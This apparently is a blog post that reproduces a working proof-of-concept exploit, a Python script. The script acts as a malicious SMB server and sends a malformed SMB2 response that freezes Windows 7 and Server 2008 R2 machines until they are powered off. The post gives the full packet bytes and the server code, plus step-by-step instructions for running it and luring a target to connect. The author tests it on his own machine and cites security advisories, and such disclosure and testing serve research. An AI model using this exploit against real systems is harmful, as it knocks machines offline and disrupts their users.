The New Win 7 SMB DoS

Here's how I just killed my Win 7 Professional computer.

The attacker is Linux--I used an Eee PC running Ubuntu 9.10. The attacker must be connected to a network and visible to the target. The attacker will be a malicious file server, returning a malformed SMB response to a request from the target.

On the Linux machine, put this code into a file named KillWin7.py


#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash 
#Author: Laurent Gaffie
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"


class SMB2(SocketServer.BaseRequestHandler):

  def handle(self):
    print "Who:", self.client_address
    print "THANKS SDL"
    input = self.request.recv(1024)
    self.request.send(packet)
    self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

From the Linux Terminal, execute this command:

sudo KillWin7.py

On the Windows 7 computer, click Start, and type this into the Search box:

\\192.168.1.24

Replace the IP address with the IP address of your Ubuntu machine.

The Win 7 machine is now frozen. You will have to power it off to revive it. This exploit is reported to work on Server 2008R2 too--I didn't try that yet.

Sources:

http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html

http://isc.sans.org/diary.html?storyid=7573

http://pastebin.com/m49dd38a9